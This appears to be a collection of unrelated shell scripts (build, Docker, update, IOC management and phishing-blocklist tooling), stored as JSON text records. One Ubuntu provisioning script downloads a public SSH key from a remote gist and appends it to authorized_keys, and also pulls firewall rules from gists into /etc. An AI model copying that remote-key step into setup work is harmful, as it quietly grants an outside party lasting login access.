resample=44100 \\\n -ao pcm -ao pcm:waveheader \"${wma_file}\" && lame -m s \\\n audiodump.wav -o \"${wma_file%%.wma}\".mp3\n rm audiodump.wav\ndone\n#rm *.wma"} {"text": "#!/bin/bash\n# returns count of files in dir\n#ls -1 | wc -l\n\n# screen proccesses are here\n#/var/run/screen/S-root\n\n# if count of screen proccesses is 0, then run bot\nif [ $(ls -1 /var/run/screen/S-root | wc -l) -eq 0 ]\nthen\n source /home/instasaver/venv/bin/activate && screen -d -m python3 /home/instasaver/instasaver/instaBot.py\nfi\n\n# chmod +x checkBot.sh\n# -**- in crontab write the following: -**-\n# * * * * * /home/instasaver/checkBot.sh"} {"text": "#!/bin/bash\nset -xe\n./update-koreader.sh \"$1\"\n./make-koreader.sh debug \n./run-tests.sh"} {"text": "stiles69/binupdate/Update-Gentoo-PI64.sh\n#!/bin/bash \n#===============================================================================\n#\n# FILE: Update-Gentoo-PI64.sh\n# \n# USAGE: ./Update-Gentoo-PI64.sh \n# \n# DESCRIPTION: \n# \n# OPTIONS: ---\n# REQUIREMENTS: ---\n# BUGS: ---\n# NOTES: ---\n# AUTHOR: (), \n# ORGANIZATION: Rogue Designs\n# CREATED: 03/07/18 07:38\n# REVISION: ---\n#===============================================================================\n\nset -o nounset # Treat unset variables as an error\n\n#---------- SOURCED ---------\n\n#----------------------------\n\n#---------- GLOBAL VARIABLES ---------\n\n#-------------------------------------\nfunction UpdateGentoo ()\n{\n\tsudo emerge --update --newuse --deep @world\n\tsudo emerge --ask --depclean\n\tsudo revdep-rebuild\n\teclean-dist --deep && eclean-pkg --deep\n}\t# end UpdateGentoo\n\nfunction UpdateBinLib ()\n{\n\techo \"Now Syncing ~/bin and ~/lib/sh.\"\n\t$HOME/bin/Pull-Bin-Sh.sh\n\twait\n\techo \"Completed Syncing ~/bin and ~/lib/sh\"\n}\t# end function\n\nfunction UpdateNotes ()\n{\n\techo \"Now Syncing ~/Notes\"\n\t$HOME/bin/Pull-Notes.sh\n\techo \"Finished Syncing Notes.\"\n\t\n}\t# end function\n\nfunction UpdateZim ()\n{\n\techo \"Syncing Zim\"\n\t$HOME/bin/Pull-Zim.sh\n\techo \"Finished Exporting and Syncing.\"\n}\t# end function\n\nfunction Main ()\n{\n\tUpdateGentoo\n\tUpdateBinLib\n\tUpdateNotes\n\techo \"DONE UPDATING GENTOO PI64\"\n\techo \"=======================================\"\n}\t# end Main\nMain\n\n#===EXIT===\nexit 0"} {"text": "#merge all coverage files\npaste G2_Anc.coverage.txt G4_Anc.coverage.txt G10_Ev.coverage.txt G10_Q.coverage.txt G11_Ev.coverage.txt G11_Q.coverage.txt G12_Q.coverage.txt G2_Q.coverage.txt G3_Ev.coverage.txt G4_Ev.coverage.txt G5_Ev.coverage.txt G6_Ev.coverage.txt G7_Ev.coverage.txt G8_Ev.coverage.txt G9_Ev.coverage.txt | cut -f 1,2,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45 > coverage_sub.txt\n\n# exclude mitochondria DNA\n\ngrep -v Ca19-mtDNA coverage_sub.txt > no_mtd_coverage_sub.txt"} {"text": "tests/test_docker.sh0\n#!/usr/bin/env bash\ntest -z \"$TRACE\" || set -x\nset -eu\nUSAGE=\"Usage:\n $0 [IMAGE]...\n\nRun basic smoke tests in a docker container to verify image functionality.\n\"\n\n\nmain() {\n echo \"$*\" | grep -Eqvw -- \"-h|--help|help\" || { echo \"$USAGE\"; exit; }\n if [ \"${CONT_MAIN:-false}\" = false ]; then\n host_main \"$@\"\n else\n cont_main \"$@\"\n fi\n}\n\n\nhost_main() {\n test $# -gt 0 || set -- flywheel/helm\n STATUS=0\n for IMG in \"$@\"; do\n docker run --rm \\\n -e \"TRACE=${TRACE:-}\" \\\n -e \"CONT_MAIN=true\" \\\n -v \"$(pwd):/src\" \\\n \"$IMG\" tests/test_docker.sh \"$IMG\" || STATUS=1\n done\n exit \"$STATUS\"\n}\n\n\ncont_main() {\n log \"Running $0 $1...\"\n for BIN in bash curl git helm helm-docs kubeval yamllint; do\n quiet command -v \"$BIN\" || die \"Command not found: $BIN\"\n done\n test \"$(id -u):$(id -g)\" = 0:0 || die \"Not running as root\"\n test -n \"${KUBERNETES:-}\" || die \"KUBERNETES envvar not set\"\n quiet ls /etc/kubeval/*/ || die \"K8S schema not found\"\n}\n\n\n# logging and formatting utilities\nlog() { printf \"\\e[32mINFO\\e[0m %s\\n\" \"$*\" >&2; }\nerr() { printf \"\\e[31mERRO\\e[0m %s\\n\" \"$*\" >&2; }\ndie() { err \"$@\"; exit 1; }\nquiet() { \"$@\" >/dev/null 2>&1; }\n\n\nmain \"$@\""} {"text": "#!/bin/sh\ncd \"$(dirname \"$0\")\" || exit\nif [ -e dentakun.zip ]; then\n rm dentakun.zip\nfi\n./build.sh || exit\nzip -r dentakun.zip img dentakun.jar README.md LICENSE"} {"text": "amaro0/microservices-fault-tolerance-experiments\n#!/bin/bash\nfor number in 0 1 2; do\n finalserver=\"finalserver${number}\"\n proxyserver=\"proxyserver${number}\"\n\n docker stop $finalserver\n docker rm $finalserver\n docker stop $proxyserver\n docker rm $proxyserver\ndone"} {"text": "#!/bin/bash\n\n# - torch is expected to be already activated, ie run:\n# source ~/torch/install/bin/torch-activate\n\nif [[ x$RUNGDB != x ]]; then {\n rungdb.sh python $(which py.test) test/test_pytorch.py $*\n} elif [[ x$STDBUF != x ]]; then {\n stdbuf --output=L py.test -sv test/test_pytorch.py $* | grep --line-buffered -v 'seconds =============' | tee test_outputs/test_pytorch_output.txt\n} else {\n py.test -sv test/test_pytorch.py $*\n} fi"} {"text": "os/ubuntu/index.sh\n#!/usr/bin/env bash\n\nset -e\n\n# Load modules\nsource \"$lib/user/index.sh\"\nsource \"$lib/is-ubuntu/index.sh\"\n\n# Only run if we're running Ubuntu\nif [ 0 -eq `ubuntu` ]; then\n exit 0\nfi\n\n\n# Change default shell to bash (from dash)\nsudo echo \"dash dash/sh boolean false\" | debconf-set-selections ; dpkg-reconfigure --frontend=noninteractive dash\n\n# Update ubuntu\napt-get update\n\n# Create a user\nwhile true; do\n read -p \"Create a new username (username, no)? \" user\n case $user in\n \"\" | \"y\" | \"yes\" ) \n echo \"please enter a new username\"\n ;;\n \"n\" | \"no\" ) \n echo \"no username created\"\n user=\"root\"\n home=\"/root\"\n break\n ;;\n * )\n user add $user\n home=\"/home/$user\"\n break\n ;;\n esac\ndone\n\n# TODO, reorganize\n\n# Install git and curl\napt-get install -y git curl\n\n# Add public ssh key\nmkdir -p $home/.ssh\ncurl -L \"https://gist.github.com/MatthewMueller/38b8dac7b6b35e946822/raw/85a63f31925ac6e0a6c13826573f3a005c765f10/id_rsa.pub\" >> $home/.ssh/authorized_keys\nchown -R $user:$user $home/.ssh\nchmod 700 $home/.ssh\nchmod 600 $home/.ssh/authorized_keys\n\n# Install fail2ban\napt-get install -y fail2ban\ncurl -L \"https://gist.github.com/MatthewMueller/38b8dac7b6b35e946822/raw/0c6e859ed2ae3cbb2bc87073b96db4954aa74dda/fail2ban.local\" > /etc/fail2ban/jail.local\nservice fail2ban restart\n\n# Setup firewall (needs a newline, because gist cuts them off)\ncurl -L -w \"\\n\" \"https://gist.github.com/MatthewMueller/38b8dac7b6b35e946822/raw/50f1db72eb2f2278839758c0f54c95d4d4cd5f2d/firewall.rules\" > /etc/iptables.firewall.rules\niptables-restore < /etc/iptables.firewall.rules\n\n# Reload the firewall on startup\ncurl -L \"https://gist.github.com/MatthewMueller/38b8dac7b6b35e946822/raw/63b23dd10ff0d163a5aed17bcce9d917284e8541/firewall\" > /etc/network/if-pre-up.d/firewall\nchmod +x /etc/network/if-pre-up.d/firewall\n\n# Install docker.io\nsudo apt-get update\nsudo apt-get install docker.io\nsudo ln -sf /usr/bin/docker.io /usr/local/bin/docker\nsudo sed -i '$acomplete -F _docker docker' /etc/bash_completion.d/docker.io"} {"text": "# Color key:\n# #1d1f21 Background\n# #282a2e Current Line\n# #373b41 Selection\n# #c5c8c6 Foreground\n# #969896 Comment\n# #cc6666 Red\n# #de935f Orange\n# #f0c674 Yellow\n# #b5bd68 Green\n# #8abeb7 Aqua\n# #81a2be Blue\n# #b294bb Purple\n\nset -g status-bg default\nset -g status-style bg=default\nset -g status-right-length 80\nsetw -g window-status-current-style bg=\"#282a2e\",fg=\"#81a2be\"\n\nset-window-option -g window-status-style bg=default,fg=white\nset-window-option -g window-status-format '#[fg=#6699cc,bg=colour235] #I #[fg=#999999,bg=#2d2d2d] #W #[default]'\n\nset-window-option -g window-status-current-style none\nset-window-option -g window-status-current-format '#[fg=#f99157,bg=#2d2d2d] #I #[fg=#cccccc,bg=#393939] #W #[default]'\n\n# Windows are transparent by default.\nsetw -g window-style 'bg=default'\n#setw -g window-active-style 'bg=#1d1f21'\nsetw -g window-active-style 'bg=default'\nsetw -g pane-active-border-style ''\n\nsetw -g window-status-activity-style fg=\"#8abeb7\",bg=\"#1d1f21\"\n\nset -g pane-active-border-style bg=default,fg=\"#373b41\"\nset -g pane-border-style bg=default,fg=\"#373b41\"\n\nset -g message-style bg=\"#8abeb7\",fg=\"#000000\"\n\nset -g message-command-style bg=\"#8abeb7\",fg=\"#000000\"\n\nset -g message-style bg=\"#2d2d2d\",fg=\"#cc99cc\"\n\nset -g mode-style bg=\"#1d1f21\",fg=\"#de935f\"\n\nset -g status-right-style fg=black,bold\nset -g status-right '#[fg=#8abeb7,bg=#2d2d2d] #T #[fg=#f99157,bg=#2d2d2d] %H:%M |#[fg=#6699cc] %y.%m.%d '\n\nset -g pane-border-style bg=default,fg=\"#999999\"\nset -g pane-active-border-style fg=\"#f99157\"\n\nset -g clock-mode-colour \"#81a2be\"\nset -g clock-mode-style 24"} {"text": "builders/guest/build_linux_static.sh\n#!/bin/sh\n\ncargo build --release --example staticlib\ncp /code/target/release/examples/libstaticlib.a \"/code/api/libwasmvm_static.a\""} {"text": "#!/usr/bin/env sh\nMESSAGE=\"$1\"\nCOLOR=\"${2:-green}\"\ncurl -sSf -m 3 \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $HIPCHAT_TOKEN\" \\\n -d '{\"color\" : \"'\"$COLOR\"'\", \"message_format\" : \"html\", \"message\" : \"'\"$MESSAGE\"'\"}' \\\n \"${HIPCHAT_API}v2/room/$HIPCHAT_ROOM/notification\""} {"text": "yarn build\nrm -rf ../backend/js \nrm -rf ../backend/css\ncp -r dist/* ../backend\nrm -r dist"} {"text": "1-10\n#!/bin/bash\n\n# manage the IOC for dhtioc\n\n#--------------------\n# change the program defaults here\nDEFAULT_SESSION_NAME=dhtioc\nDEFAULT_IOC_PREFIX=${HOSTNAME}:\n#--------------------\n\nSHELL_SCRIPT_NAME=${BASH_SOURCE:-${0}}\nSELECTION=${1:-usage}\nSESSION_NAME=${DEFAULT_SESSION_NAME}\nIOC_PREFIX=${DEFAULT_IOC_PREFIX}\n\nIOC_BINARY=/home/pi/.local/bin/dhtioc\nIOC_OPTIONS=\"--list-pvs\"\nIOC_OPTIONS+=\" --prefix ${IOC_PREFIX}\"\nSTART_IOC_COMMAND=\"${IOC_BINARY} ${IOC_OPTIONS}\"\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nif [ -z \"$IOC_STARTUP_DIR\" ] ; then\n # If no startup dir is specified, use the directory with this script\n IOC_STARTUP_DIR=$(dirname \"${SHELL_SCRIPT_NAME}\")\nfi\n\n# echo \"SESSION_NAME = ${SESSION_NAME}\"\n# echo \"IOC_PREFIX = ${IOC_PREFIX}\"\n# echo \"START_IOC_COMMAND = ${START_IOC_COMMAND}\"\n# echo \"SHELL_SCRIPT_NAME = ${SHELL_SCRIPT_NAME}\"\n# echo \"IOC_STARTUP_DIR = ${IOC_STARTUP_DIR}\"\nexport SCREEN=/usr/bin/screen\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nfunction checkpid() {\n MY_UID=$(id -u)\n # # The '\\$' is needed in the pgrep pattern to select vm7, but not vm7.sh\n IOC_PID=$(pgrep \"$(basename ${IOC_BINARY})\"\\$ -u \"${MY_UID}\")\n # #!echo \"IOC_PID=${IOC_PID}\"\n\n if [ \"${IOC_PID}\" != \"\" ] ; then\n # Assume the IOC is down until proven otherwise\n IOC_DOWN=1\n SCREEN_PID=\"\"\n\n # At least one instance of the IOC binary is running;\n # Find the binary that is associated with this script/IOC\n for pid in ${IOC_PID}; do\n # compare directories\n BIN_CWD=$(readlink \"/proc/${pid}/cwd\")\n IOC_CWD=$(readlink -f \"${IOC_STARTUP_DIR}\")\n\n if [ \"$BIN_CWD\" = \"$IOC_CWD\" ] ; then\n # The IOC is running;\n # the process with PID=$pid is the\n # IOC that was run from $IOC_STARTUP_DIR\n P_PID=$(ps -p \"${pid}\" -o ppid=)\n # strip leading (and trailing) whitespace\n arr=($P_PID)\n P_PID=${arr[0]}\n SCREEN_SESSION=\"${P_PID}.${SESSION_NAME}\"\n SCREEN_MATCH=$(${SCREEN} -ls \"${SCREEN_SESSION}\" | grep \"${SESSION_NAME}\")\n if [ \"${SCREEN_MATCH}\" != \"\" ] ; then\n # IOC is running in screen\n IOC_DOWN=0\n IOC_PID=${pid}\n SCREEN_PID=${P_PID}\n break\n fi\n fi\n done\n else\n # IOC is not running\n IOC_DOWN=1\n fi\n\n return ${IOC_DOWN}\n}\n\nfunction checkup () {\n if ! checkpid; then\n # echo \"# $(date --iso-8601=seconds)\"\n restart\n # run\n # echo \"# $(date --iso-8601=seconds) $(${SCREEN} -ls)\"\n # sleep 10\n # echo \"# $(date --iso-8601=seconds) $(${SCREEN} -ls)\"\n # echo \"# $(date --iso-8601=seconds) ${IOC_PREFIX}counter=$(caproto-get ${IOC_PREFIX}counter)\"\n # sleep 2\n fi\n}\n\nfunction console () {\n if checkpid; then\n echo \"Connecting to ${SCREEN_SESSION}'s screen session\"\n # The -r flag will only connect if no one is attached to the session\n #!screen -r \"${SESSION_NAME}\"\n # The -x flag will connect even if someone is attached to the session\n ${SCREEN} -x \"${SCREEN_SESSION}\"\n else\n echo \"${SCREEN_NAME} is not running\"\n fi\n}\n\nfunction exit_if_running() {\n # ensure that multiple, simultaneous IOCs are not started by this user ID\n MY_UID=$(id -u)\n IOC_PID=$(pgrep \"${SESSION_NAME}\"\\$ -u \"${MY_UID}\")\n\n if [ \"\" != \"${IOC_PID}\" ] ; then\n echo \"${SESSION_NAME} IOC is already running (PID=${IOC_PID}), won't start a new one\"\n exit 1\n fi\n}\n\nfunction restart() {\n stop\n start\n}\n\nfunction run_ioc() {\n # only use this for diagnostic purposes\n exit_if_running\n ${START_IOC_COMMAND}\n}\n\nfunction screenpid() {\n if [ -z \"${SCREEN_PID}\" ] ; then\n echo\n else\n echo \" in a screen session (pid=${SCREEN_PID})\"\n fi\n}\n\nfunction start() {\n if checkpid; then\n echo -n \"${SCREEN_SESSION} is already running (pid=${IOC_PID})\"\n screenpid\n else\n echo \"Starting ${SESSION_NAME} with IOC prefix ${IOC_PREFIX}\"\n cd \"${IOC_STARTUP_DIR}\"\n # Run SESSION_NAME inside a screen session\n CMD=\"${SCREEN} -dm -S ${SESSION_NAME} -h 5000 ${START_IOC_COMMAND}\"\n # echo \"# $(date --iso-8601=seconds) ${CMD}\" > /home/pi/cmd.log\n ${CMD}\n fi\n}\n\nfunction status() {\n if checkpid; then\n echo -n \"${SCREEN_SESSION} is running (pid=${IOC_PID})\"\n screenpid\n else\n echo \"${SESSION_NAME} is not running\"\n fi\n}\n\nfunction stop() {\n if checkpid; then\n echo \"Stopping ${SCREEN_SESSION} (pid=${IOC_PID})\"\n kill \"${IOC_PID}\"\n else\n echo \"${SESSION_NAME} is not running\"\n fi\n}\n\nfunction usage() {\n echo \"Usage: $(basename \"${SHELL_SCRIPT_NAME}\") {start|stop|restart|status|checkup|console|run}\"\n echo \"\"\n echo \" COMMANDS\"\n echo \" console attach to IOC console if IOC is running in screen\"\n echo \" checkup check that IOC is running, restart if not\"\n echo \" restart restart IOC\"\n echo \" run run IOC in console (not screen)\"\n echo \" start start IOC\"\n echo \" status report if IOC is running\"\n echo \" stop stop IOC\"\n}\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ncase ${SELECTION} in\n start) start ;;\n stop | kill) stop ;;\n restart) restart ;;\n status) status ;;\n checkup) checkup ;;\n console) console ;;\n run) run_ioc ;;\n *) usage ;;\nesac"} {"text": "git.sh\n\n\n\n\n\n\n\ngit init\ngit add *\ngit commit -m \"first commit\"\ngit remote add origin https://github.com/asmlib/gperftools.git\ngit push -u origin master"} {"text": "catalog/5.10.1/arm64.sh\n# downloads linux and linux headers\nmkdir /tmp/ubuntukernel5.10.1\ncd /tmp/ubuntukernel5.10.1\nwget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.10.1/arm64/linux-headers-5.10.1-051001-generic_5.10.1-051001.202012142031_arm64.deb\nwget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.10.1/arm64/linux-image-5.10.1-051001-generic_5.10.1-051001.202012142031_arm64.deb\nwget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.10.1/arm64/linux-modules-5.10.1-051001-generic_5.10.1-051001.202012142031_arm64.deb\nsudo dpkg -i *.deb\ncd\nrm -r /tmp/ubuntukernel5.10.1"} {"text": "yuiiio/dotfiles\n#!/bin/sh\n\nif pgrep steam >/dev/null; then\n echo \"steam running\"\nelse\n swaymsg \"output * dpms off\"\nfi"} {"text": "alonsodomin/grootsandbox/localstack/startup.sh1-10\n#!/bin/sh\n\naws configure set aws_access_key_id default_access_key\naws configure set aws_secret_access_key default_secret_key\naws configure set default.region us-west-2\n\nlocalstack start &\n\nsleep 5\n#aws --endpoint-url=http://localhost:4572 --region=us-west-2 s3api create-bucket --bucket pluto-search-results-local\n\ntail -f /dev/null"} {"text": "#!/bin/bash\n\n# script for creating G16 input files\n\n# input handler\nfor i in \"$@\"; do\n\tcase $i in\n\t\t-t=*|--title=*) INPUT_TITLE=\"${i#*=}\"; COM=$INPUT_TITLE.com ;;\n\t\t-r=*|--route=*) ROUTE=\"${i#*=}\" ;;\n\t\t-n=*|--nproc=*) NPROC=\"${i#*=}\" ;;\n\t\t-m=*|--mem=*) MEM=\"${i#*=}\" ;;\n\t\t-c=*|--charge=*) CHARGE=\"${i#*=}\" ;;\n\t\t-s=*|--mult=*) MULT=\"${i#*=}\" ;;\n\t\t-i=*|--input=*) INPUT=\"${i#*=}\"; FILE=$(basename \"$INPUT\"); TYPE=\"${FILE##*.}\" ;;\n\t\t-y=*|--type=*) INPUT_TYPE=\"${i#*=}\" ;;\n\t\t-w=*|--rwf=*) RWF=\"${i#*=}\" ;;\n\t\t-k=*|--chk=*) CHK=\"${i#*=}\" ;;\n\t\t-ns=*|--nosave=*) NOSAVE=\"${i#*=}\" ;;\n\t\t-l=*|--location=*) LOCATION=\"${i#*=}\" ;;\n\t\t-f|--force) FORCE=1 ;;\n\t\t-b|--sbatch) SBATCH=1 ;;\n\t\t-b+|--sbatch+) SBATCH=2 ;;\n\tesac\ndone\n\n# errors\nif [ -z \"$INPUT\" ]; then echo 'error: input geometry not provided; use -i or --input option'; exit 1; fi\nif [ -z \"$ROUTE\" ]; then \n\techo 'error: route not requested; use -r or --route option'\n\texit 1\nelse\n\tROUTE=$(echo $ROUTE | tr -d '\"' | tr -d \"\\'\")\nfi\n\n# default title\nif [ -z \"$INPUT_TITLE\" ]; then INPUT_TITLE=\"${FILE/.$TYPE/}\"; COM=$INPUT_TITLE.com; fi\n\n# check if input file already exists\nif [[ $FORCE -eq 1 ]]; then\n\trm \"$INPUT_TITLE.com\" 2>/dev/null\nelse\n\twhile [ -f \"$INPUT_TITLE.com\" ] && [[ ! $FORCE -eq 1 ]]; do\n\t\tread -p \"$INPUT_TITLE.com already exists. Do you wish to overwrite this file? (y/n): \" yn\n\t\tcase $yn in\n\t\t\t[Yy]* ) rm $INPUT_TITLE.com; break;;\n\t\t\t[Nn]* ) exit 0;;\n\t\t\t* ) echo \"Please answer yes or no.\";;\n\t\tesac\n\tdone\nfi\n\n# defaults\nif [ -z \"$NPROC\" ]; then NPROC=14; fi\nif [ -z \"$MEM\" ]; then MEM=8; fi\nif [ -z \"$CHARGE\" ]; then CHARGE=0; fi\nif [ -z \"$MULT\" ]; then MULT=1; fi\nif [ -z \"$RWF\" ]; then RWF=$INPUT_TITLE.rwf; fi\nif [ -z \"$CHK\" ]; then CHK=$INPUT_TITLE.chk; fi\nif [ -z \"$NOSAVE\" ]; then NOSAVE=\"ALL\"; else NOSAVE=\"${NOSAVE^^}\"; fi\nif [ ! -z \"$INPUT_TYPE\" ]; then TYPE=$INPUT_TYPE; fi\nif [ -z $LOCATION ]; then LOCATION='.'; fi\n\n# build route card\nif [[ \"$NOSAVE\" == \"ALL\" ]]; then echo -e \"%chk=$CHK\\n%rwf=$RWF\\n%NoSave\" >> \"$COM\"\nelif [[ \"$NOSAVE\" == \"RWF\" ]]; then echo -e \"%rwf=$RWF\\n%NoSave\\n%chk=$CHK\" >> \"$COM\"\nelif [[ \"$NOSAVE\" == \"CHK\" ]]; then echo -e \"%chk=$CHK\\n%NoSave\\n%rwf=$RWF\" >> \"$COM\"; fi\necho \"%mem=$MEM\"\"GB\" >> \"$COM\"\necho \"%nproc=$NPROC\" >> \"$COM\"\necho -e \"$ROUTE\\n\" >> \"$COM\"\necho -e \"$INPUT_TITLE\\n\" >> \"$COM\"\necho \"$CHARGE $MULT\" >> \"$COM\"\n\n# create formatted coordinates\nobabel -i $TYPE $INPUT -o com 2>/dev/null | sed -e '1,5d' >> \"$COM\"\n\n# move file to location \nif [[ ! \"$LOCATION\" -ef . ]]; then mv \"$COM\" \"$LOCATION\"; fi\n\n# make sbatch\nif [[ $SBATCH -eq 1 ]]; then cd $LOCATION && bash $FLOW/scripts/make-sbatch.sh -i=$COM -n=$NRPOC\nelif [[ $SBATCH -eq 2 ]]; then cd $LOCATION && bash $FLOW/scripts/make-sbatch.sh -i=$COM -n=$NPROC -s; fi"} {"text": "#!/bin/bash\n\n# only allow blargbot\nip_hash=\"$(echo -n \"$cf_connecting_ip\" | sha256sum | cut -f1 -d' ')\"\n\nif [[ \"$ip_hash\" != \"48bf3717248c376717c77b41e279aba6a32edcc3e9c8ca1a6ac36bc8dbb8fd66\" ]]; then\n exit 250\nfi\n\n# if no POST data, sync local database to https://phish.sinking.yachts/v2/all\nif [[ -z \"$@\" ]]; then\n if [[ -z \"$dt\" ]]; then\n dt=\"3600\"\n fi\n # get list of phishing domains added in the last $dt seconds from phish.sinking.yachts and output to /home/webhookd/out/.yachts\n curl -sL \"https://phish.sinking.yachts/v2/recent/$dt\" -H 'X-Identity: Syretia (https://syretia.cf/docs)' | \\\n jq -c '[.[].domains[]]' 2>/dev/null > /home/webhookd/out/.yachts\n # check if file exists and is valid JSON\n if [[ -f \"/home/webhookd/out/.yachts\" && \"$(jq 'length' /home/webhookd/out/.yachts 2>/dev/null || echo -n '0')\" != \"0\" ]]; then\n # combine /home/webhookd/out/.yachts and /home/webhookd/jsonlite/domains/blacklist\n # then sort, filter out duplicates, and filter out entries that start with 'www.'\n cat /home/webhookd/out/.yachts | jq --argfile bl /home/webhookd/jsonlite/domains/blacklist \\\n '[. + $bl | sort | unique | .[] | select(. | test(\"^www\\\\.\") | not)]' > /home/webhookd/jsonlite/domains/.blacklist\n mv /home/webhookd/jsonlite/domains/.blacklist /home/webhookd/jsonlite/domains/blacklist\n # output status\n jq -cn --arg l \"$(jq -r 'length' /home/webhookd/jsonlite/domains/blacklist)\" '.status |= \"Phishing domain blacklist updated.\" | .length |= $l'\n elif [[ ! -f \"/home/webhookd/out/.yachts\" ]]; then\n # output error\n jq -cn '.error |= \"Failed to fetch https://phish.sinking.yachts/v2/all\"'\n else\n jq -cn --arg l \"$(jq 'length' /home/webhookd/out/.yachts 2>/dev/null)\" '.status |= \"No new phishing domains found.\" | .length |= $l'\n fi\n # remove /home/webhookd/out/.yachts\n rm -rf /home/webhookd/out/.yachts\n# else add POST data to blacklist array\nelse\n # check authorization\n # convert key input to sha256sum\n key_hash=\"$(printf \"%s\\n\" \"$key\" | sha256sum | cut -f1 -d' ')\"\n # unset key input so cannot be seen by running script\n unset key\n # compare input key hash to stored key hash\n case \"$key_hash\" in\n \"$WHD_AUTH_HASH\")\n # successful authorization\n sleep 0\n ;;\n *)\n # failed authorization\n jq -nc '.error |= \"Invalid authorization.\"'\n exit 0\n ;;\n esac\n # check if POST data is valid JSON array\n if [[ \"$(echo \"$@\" | jq '.[0]' 2>/dev/null)\" == \"\" ]]; then\n jq -cn '.error |= \"Input is not a valid JSON array\"'\n exit 0\n fi\n # add POST data to blacklist array\n cat /home/webhookd/jsonlite/domains/blacklist | jq --argjson ar \"$@\" '. += $ar | sort | unique' > /home/webhookd/jsonlite/domains/.blacklist\n mv /home/webhookd/jsonlite/domains/.blacklist /home/webhookd/jsonlite/domains/blacklist\nfi"} {"text": "cd ..\nmake clean\nmake\ncd Dev\nmake clean\nmake \n./build/helios_dev.app/Contents/MacOS/helios_dev"} {"text": "contrib/build-linux/sdist/build.sh\n#!/bin/bash\n#\n# env vars:\n# - ELECBUILD_NOCACHE: if set, forces rebuild of docker image\n# - ELECBUILD_COMMIT: if set, do a fresh clone and git checkout\n\nset -e\n\nPROJECT_ROOT=\"$(dirname \"$(readlink -e \"$0\")\")/../../..\"\nPROJECT_ROOT_OR_FRESHCLONE_ROOT=\"$PROJECT_ROOT\"\nCONTRIB=\"$PROJECT_ROOT/contrib\"\nCONTRIB_SDIST=\"$CONTRIB/build-linux/sdist\"\nDISTDIR=\"$PROJECT_ROOT/dist\"\n\n. \"$CONTRIB\"/build_tools_util.sh\n\n\nDOCKER_BUILD_FLAGS=\"\"\nif [ ! -z \"$ELECBUILD_NOCACHE\" ] ; then\n info \"ELECBUILD_NOCACHE is set. forcing rebuild of docker image.\"\n DOCKER_BUILD_FLAGS=\"--pull --no-cache\"\nfi\n\ninfo \"building docker image.\"\nsudo docker build \\\n $DOCKER_BUILD_FLAGS \\\n -t electrum-grs-sdist-builder-img \\\n \"$CONTRIB_SDIST\"\n\n# maybe do fresh clone\nif [ ! -z \"$ELECBUILD_COMMIT\" ] ; then\n info \"ELECBUILD_COMMIT=$ELECBUILD_COMMIT. doing fresh clone and git checkout.\"\n FRESH_CLONE=\"$CONTRIB_SDIST/fresh_clone/electrum-grs\" && \\\n sudo rm -rf \"$FRESH_CLONE\" && \\\n umask 0022 && \\\n git clone \"$PROJECT_ROOT\" \"$FRESH_CLONE\" && \\\n cd \"$FRESH_CLONE\"\n git checkout \"$ELECBUILD_COMMIT\"\n PROJECT_ROOT_OR_FRESHCLONE_ROOT=\"$FRESH_CLONE\"\nelse\n info \"not doing fresh clone.\"\nfi\n\ninfo \"building binary...\"\nsudo docker run -it \\\n --name electrum-grs-sdist-builder-cont \\\n -v \"$PROJECT_ROOT_OR_FRESHCLONE_ROOT\":/opt/electrum-grs \\\n --rm \\\n --workdir /opt/electrum-grs/contrib/build-linux/sdist \\\n electrum-grs-sdist-builder-img \\\n ./make_sdist.sh\n\n# make sure resulting binary location is independent of fresh_clone\nif [ ! -z \"$ELECBUILD_COMMIT\" ] ; then\n mkdir --parents \"$DISTDIR/\"\n sudo cp -f \"$FRESH_CLONE/dist\"/* \"$DISTDIR/\"\nfi"} {"text": "#!/bin/bash\n\nN_ARGS=4\nif [ $# -ne \"$N_ARGS\" ]\nthen\n YY=`date +%Y`\n MM=`date +%m`\n DD=`date +%d`\n HH=`date +%H`\nelse\n YY=$1\n MM=$2\n DD=$3\n HH=$4\nfi\n\n\n/usr/local/bin/bargus $YY $MM $DD $HH >> /var/log/argus/bargus.log \n/usr/local/bin/bargus_to_db.sh $YY $MM $DD $HH >> /var/log/argus/bargus_to_db.log\n/usr/local/bin/cargus $YY $MM $DD $HH >> /var/log/argus/cargus.log\n/usr/local/bin/cargus_to_db.sh $YY $MM $DD $HH >> /var/log/argus/cargus_to_db.log\n/usr/local/bin/bargus_netflix.sh $YY $MM $DD $HH >> /var/log/argus/bargus_netflix.log\n/usr/local/bin/bargus_youtube.sh $YY $MM $DD $HH >> /var/log/argus/bargus_youtube.log\n/usr/local/bin/cargus_netflix.sh $YY $MM $DD $HH >> /var/log/argus/cargus_netflix.log\n/usr/local/bin/cargus_youtube.sh $YY $MM $DD $HH >> /var/log/argus/cargus_youtube.log"} {"text": "#!/bin/bash\n\nUSERNAME=\"$1\"\nDIR_PATH=\"$2\"\n\nERROR_MESSAGE=\"Finding \\\"root\\\" user data is not allowed!\"\n\n# 1.2.4.\n[[ \"$USERNAME\" = root ]] && echo \"$ERROR_MESSAGE\" 1>&2 && exit 42\n\n# 1.2.2.\nfind \"$DIR_PATH\" -user \"$USERNAME\" | sed \"s/\\(.*\\)/\\1 is found!/\"\n\n# 1.2.3.\nps -u \"$USERNAME\" -o pid,user,comm"} {"text": "old/nvcc_src_cuda2/host_cudaSaTabsearch_pbs_script.sh0\n#!/bin/bash\n\n# pbs launching script:\n \t\n#PBS -l nodes=1\n#PBS -N cpu_cudaSaTabsearch\n#PBS -l walltime=10:0:0\n\nuname -a >&2\n\nmodule load cuda/2.3\ncd $PBS_O_WORKDIR\nset CONV_RSH = ssh\n\n\n/usr/bin/time ./cudaSaTabsearch -c -r4096 < $HOME/phd/qptabsearch/data/d1ubia_.input"} {"text": "#!/bin/bash\n\nmvn compile -e exec:java \\\n -Dexec.mainClass=com.dataflow.samples.BigQueryStorageAPI \\\n -Dexec.args=\"--output=hacker-stories/ \\\n --runner=DirectRunner\""} {"text": "Paulao17/mdmathwebsite\npandoc -o continuite-derivation.md -s intro.md"} {"text": 